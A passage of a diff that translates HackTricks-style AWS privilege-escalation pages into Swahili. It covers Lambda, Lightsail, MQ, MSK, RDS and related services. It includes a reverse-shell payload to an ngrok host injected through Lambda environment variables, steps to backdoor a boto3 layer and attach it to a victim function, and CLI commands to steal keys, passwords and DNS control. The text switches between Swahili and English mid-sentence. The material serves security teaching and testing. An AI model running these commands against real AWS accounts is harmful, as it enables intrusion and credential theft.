ambayo imeunganishwa na jukumu la IAM.**\ +Mshambuliaji anaweza **kubadilisha msimbo wa lambda ili kuhamasisha akreditivu za IAM**. +Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja wa kuitisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano itasababisha kupitia mifumo au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotumika. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### RCE kupitia mabadiliko ya mazingira +Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea Lambda kutekeleza msimbo usio na mipaka. Kwa mfano katika python inawezekana kutumia mabadiliko ya mazingira `PYTHONWARNING` na `BROWSER` kufanya mchakato wa python kutekeleza amri zisizo na mipaka: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Kwa lugha nyingine za skripti kuna mazingira mengine ya mabadiliko unaweza kutumia. Kwa maelezo zaidi angalia sehemu ndogo za lugha za skripti katika: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### RCE kupitia Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) inaruhusu kujumuisha **code** katika kazi yako ya lamdba lakini **kuhifadhi kwa tofauti**, hivyo msimbo wa kazi unaweza kubaki mdogo na **kazi kadhaa zinaweza kushiriki msimbo**. +Ndani ya lambda unaweza kuangalia njia ambazo msimbo wa python unaloaded kwa kutumia kazi kama ifuatayo: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +Hizi ndizo sehemu: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,45 +198,37 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Kwa mfano, maktaba boto3 inapakuliwa kutoka `/var/runtime/boto3` (nafasi ya 4). -#### Exploitation +#### Ukatili -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +Inawezekana kutumia ruhusa `lambda:UpdateFunctionConfiguration` ili **kuongeza safu mpya** kwa kazi ya lambda. Ili kutekeleza msimbo wowote, safu hii inahitaji kuwa na **maktaba ambayo lambda itakuwa inaiagiza.** Ikiwa unaweza kusoma msimbo wa lambda, unaweza kuipata hii kwa urahisi, pia kumbuka kwamba inaweza kuwa inawezekana kwamba lambda **tayari inatumia safu** na unaweza **kupakua** safu hiyo na **kuongeza msimbo wako** humo. +Kwa mfano, hebu tuwe na dhana kwamba lambda inatumia maktaba boto3, hii itaunda safu ya ndani na toleo la mwisho la maktaba: ```bash pip3 install -t ./lambda_layer boto3 ``` +You can open `./lambda_layer/boto3/__init__.py` and **ongeza backdoor katika msimbo wa kimataifa** (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Then, zip that `./lambda_layer` directory and **pakia tabaka jipya la lambda** katika akaunti yako (au katika ya waathiriwa, lakini huenda usiwe na ruhusa kwa hili).\ +Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **inayofanana na toleo la python** linalotumika na lambda na ikiwa utalipakia kwenye akaunti yako, inahitaji kuwa katika **eneo sawa:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Sasa, fanya tabaka la lambda lililopakiwa **liweze kufikiwa na akaunti yoyote**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +Na uambatishe safu ya lambda kwenye kazi ya lambda ya mwathiriwa: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` - -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal meansā€“which is the safer method. +The next step would be to either **invoke the function** ourselves if we can or to wait until **it gets invoked** by normal meansā€“which is the safer method. A **more stealth way to exploit this vulnerability** can be found in: @@ -274,11 +240,11 @@ A **more stealth way to exploit this vulnerability** can be found in: ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Labda na ruhusa hizo unaweza kuunda kazi na kuitekeleza kwa kuita URL... lakini sikuweza kupata njia ya kuijaribu, hivyo nijulishe ukifanya hivyo! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Baadhi ya lambdas zitakuwa **zinapokea taarifa nyeti kutoka kwa watumiaji katika vigezo.** Ikiwa unapata RCE katika moja yao, unaweza kuhamasisha taarifa nyingine watumiaji wanazotuma, angalia katika: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -290,7 +256,3 @@ Some lambdas are going to be **receiving sensitive info from the users in parame - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..830eea638 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Kwa maelezo zaidi kuhusu Lightsail angalia: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Itā€™s important to note that Lightsail **doesnā€™t use IAM roles belonging to the user** but to an AWS managed account, so you canā€™t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Ni muhimu kutambua kwamba Lightsail **haitumii majukumu ya IAM yanayomilikiwa na mtumiaji** bali kwa akaunti inayosimamiwa na AWS, hivyo huwezi kutumia huduma hii kwa privesc. Hata hivyo, **data nyeti** kama vile msimbo, funguo za API na taarifa za hifadhidata zinaweza kupatikana katika huduma hii. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +Ruhusa hii itakuruhusu kupata funguo za SSH za kufikia mifano: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya mifano. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +Ruhusa hii itakuruhusu kuunda funguo za SSH ili kufikia mifano: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya mifano. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +Ruhusa hii itakuruhusu kupata ufunguo wa kufikia ndoo: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya bucket. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +Ruhusa hii itakuruhusu kupata akreditif za kufikia database: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya database. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +Ruhusa hii itakuruhusu kubadilisha nenosiri la kufikia database: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Ikiwa hifadhidata si ya umma, unaweza pia kuifanya kuwa ya umma kwa kutumia ruhusa hizi na ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya database. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +Ruhusa hii inaruhusu kufungua bandari kwa Mtandao. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Madhara Yanayoweza Kutokea:** Upatikanaji wa bandari nyeti. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +Ruhusa hii inaruhusu kufungua bandari kwa Mtandao. Kumbuka kwamba wito utafungia bandari yoyote iliyofunguliwa ambayo haijatajwa ndani yake. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Madhara Yanayoweza Kutokea:** Upatikanaji wa bandari nyeti. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Ruhusa hii inaruhusu kutoa upatikanaji wa mifano kwa ndoo bila hati zozote za ziada. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Madhara Yanayoweza Kutokea:** Upatikanaji mpya wa uwezo wa mifuko yenye taarifa nyeti. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +Kwa ruhusa hii, mshambuliaji anaweza kutoa ufikiaji wa kusoma kwa akaunti yake ya AWS juu ya mifuko au hata kufanya mifuko hiyo kuwa ya umma kwa kila mtu: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Madhara Yanayoweza Kutokea:** Upatikanaji mpya wa uwezo wa mifuko yenye taarifa nyeti. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +Kwa ruhusa hii, mshambuliaji anaweza kutoa ufikiaji wa ECR za kibinafsi kutoka kwa huduma za kontena. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti kutoka ECR ya kibinafsi ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Mshambuliaji mwenye ruhusa hii anaweza kuunda subdomain na kuielekeza kwenye anwani yake ya IP (uchukuaji wa subdomain), au kuunda rekodi ya SPF inayomruhusu kudanganya barua pepe kutoka kwenye domain, au hata kuweka domain kuu kwenye anwani yake ya IP. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Madhara Yanayoweza Kutokea:** Kuchukua udhibiti wa kikoa ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Mshambuliaji mwenye ruhusa hii anaweza kuunda subdomain na kuielekeza kwenye anwani yake ya IP (kuchukua subdomain), au kuunda rekodi ya SPF inayomruhusu kutuma barua pepe kwa kutumia kikoa hicho, au hata kuweka kikoa kikuu kwenye anwani yake ya IP. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Madhara Yanayoweza Kutokea:** Kuchukua udhibiti wa kikoa {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..416a924fe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Inabadilisha jina la mtumiaji na nenosiri la IngestEndpoint ya kwanza ya Channel. (API hii imeondolewa kwa RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Inabadilisha jina la mtumiaji na nenosiri la IngestEndpoint ya kwanza ya Channel. (API hii imeondolewa kwa RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## Marejeleo - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..34a0f97d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +Kwa maelezo zaidi kuhusu MQ angalia: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Kwa ruhusa hizo unaweza **kuunda mtumiaji mpya katika broker ya ActimeMQ** (hii haifanyi kazi katika RabbitMQ): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Madhara Yanayoweza Kutokea:** Upataji wa taarifa nyeti kupitia ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Kwa ruhusa hizo unaweza **kuunda mtumiaji mpya katika broker ya ActimeMQ** (hii haifanyi kazi katika RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Madhara Yanayoweza Kutokea:** Upatikanaji wa taarifa nyeti kupitia ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Ikiwa broker inatumia **LDAP** kwa ajili ya idhini na **ActiveMQ**. Inawezekana **kubadilisha** **mipangilio** ya seva ya LDAP inayotumika kuwa **moja inayodhibitiwa na mshambuliaji**. Kwa njia hii mshambuliaji ataweza **kuiba nywila zote zinazotumwa kupitia LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Ikiwa unaweza kwa namna fulani kupata akreditif za asili zilizotumika na ActiveMQ unaweza kufanya MitM, kuiba akreditif, kuzitumia kwenye seva ya asili, na kutuma jibu (labda kwa kurudia tu akreditif zilizibwa unaweza kufanya hivi). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Madhara Yanayoweza Kutokea:** Iba akreditif za ActiveMQ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..bfa63f3d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +Kwa maelezo zaidi kuhusu MSK (Kafka) angalia: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +Kwa hizi **haki** na **ufikiaji wa VPC ambapo wakala wa kafka wako**, unaweza kuongeza **uthibitishaji wa Hakuna** ili kuweza kuwapata. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +Unahitaji ufikiaji wa VPC kwa sababu **huwezi kuwezesha uthibitisho wa None na Kafka iliyofichuliwa hadharani**. Ikiwa imefichuliwa hadharani, ikiwa **uthibitisho wa SASL/SCRAM** unatumika, unaweza **kusoma siri** ili kupata ufikiaji (utahitaji ruhusa za ziada kusoma siri hiyo).\ +Ikiwa **uthibitisho wa msingi wa jukumu la IAM** unatumika na **kafka imefichuliwa hadharani** bado unaweza kutumia ruhusa hizi kukupa ruhusa za kuweza kuipata. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..5f1ac9e7c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,19 +4,15 @@ ## Organizations -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## Kutoka kwa Akaunti ya Usimamizi hadi Akaunti za Watoto -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Ikiwa unashambulia akaunti ya mzizi/usimamizi, kuna uwezekano unaweza kushambulia akaunti zote za watoto.\ +Ili [**kujifunza jinsi ya kuangalia ukurasa huu**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..59ad0cab8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Huduma ya Hifadhi ya Taarifa -For more information about RDS check: +Kwa maelezo zaidi kuhusu RDS angalia: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +Kwa ruhusa hiyo mshambuliaji anaweza **kubadilisha nenosiri la mtumiaji mkuu**, na kuingia ndani ya hifadhi ya taarifa: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Utahitaji kuwa na uwezo wa **kuwasiliana na hifadhidata** (zinapatikana kwa kawaida tu kutoka ndani ya mitandao). -**Potential Impact:** Find sensitive info inside the databases. +**Athari Zinazoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) mtumiaji mwenye ruhusa hii anaweza kuungana na DB instance. -### Abuse RDS Role IAM permissions +### Tumia Ruhusa za RDS Role IAM #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> Ikiwa unakimbia **`SELECT datname FROM pg_database;`** unapata hifadhidata inayoitwa **`rdsadmin`** unajua uko ndani ya **hifadhidata ya AWS postgresql**. +Kwanza unaweza kuangalia ikiwa hifadhidata hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hii kwa kutazama nyongeza zilizowekwa: ```sql SELECT * FROM pg_extension; ``` +Ikiwa unapata kitu kama **`aws_s3`** unaweza kudhani kuwa hifadhidata hii ina **aina fulani ya ufikiaji juu ya S3** (kuna nyongeza nyingine kama **`aws_ml`** na **`aws_lambda`**). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Pia, ikiwa una ruhusa ya kukimbia **`aws rds describe-db-clusters`** unaweza kuona huko ikiwa **klasta ina IAM Role yoyote iliyoambatanishwa** katika uwanja **`AssociatedRoles`**. Ikiwa ipo, unaweza kudhani kuwa hifadhidata ilikuwa **imeandaliwa kufikia huduma nyingine za AWS**. Kulingana na **jina la jukumu** (au ikiwa unaweza kupata **ruhusa** za jukumu) unaweza **kukisia** ni ufikiaji gani wa ziada hifadhidata ina. +Sasa, ili **kusoma faili ndani ya bakuli** unahitaji kujua njia kamili. Unaweza kuisoma kwa: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Ikiwa ungekuwa na **raw AWS credentials** unaweza pia kuzitumia kufikia data ya S3 kwa: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **haitaji kubadilisha chochote katika kikundi cha vigezo** ili kuweza kufikia S3. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Ndani ya mysql, ukikimbia swali **`SELECT User, Host FROM mysql.user;`** na kuna mtumiaji anayeitwa **`rdsadmin`**, unaweza kudhani uko ndani ya **AWS RDS mysql db**. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Ndani ya mysql kimbia **`show variables;`** na ikiwa vigezo kama **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, vina thamani, unaweza kudhani hifadhidata imeandaliwa kufikia data za S3. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Pia, ikiwa una ruhusa ya kukimbia **`aws rds describe-db-clusters`** unaweza kuangalia ikiwa klasta ina **jukumu lolote lililounganishwa**, ambalo kwa kawaida linamaanisha ufikiaji wa huduma za AWS). +Sasa, ili **kusoma faili ndani ya bakuli** unahitaji kujua njia kamili. Unaweza kuisoma kwa: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +Mshambuliaji mwenye ruhusa `rds:AddRoleToDBCluster` na `iam:PassRole` anaweza **kuongeza jukumu lililobainishwa kwenye mfano wa RDS uliopo**. Hii inaweza kumwezesha mshambuliaji **kupata data nyeti** au kubadilisha data ndani ya mfano huo. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.\ +Kumbuka kwamba baadhi ya DBs zinahitaji mipangilio ya ziada kama Mysql, ambayo inahitaji kubainisha ARN ya jukumu katika vikundi vya aprameter pia. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Kwa ruhusa hii tu mshambuliaji anaweza kuunda **instance mpya ndani ya klasta** ambayo tayari ipo na ina **IAM role** iliyounganishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kuwa na uwezo wa kufichua instance mpya ya database kwa mtandao: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ 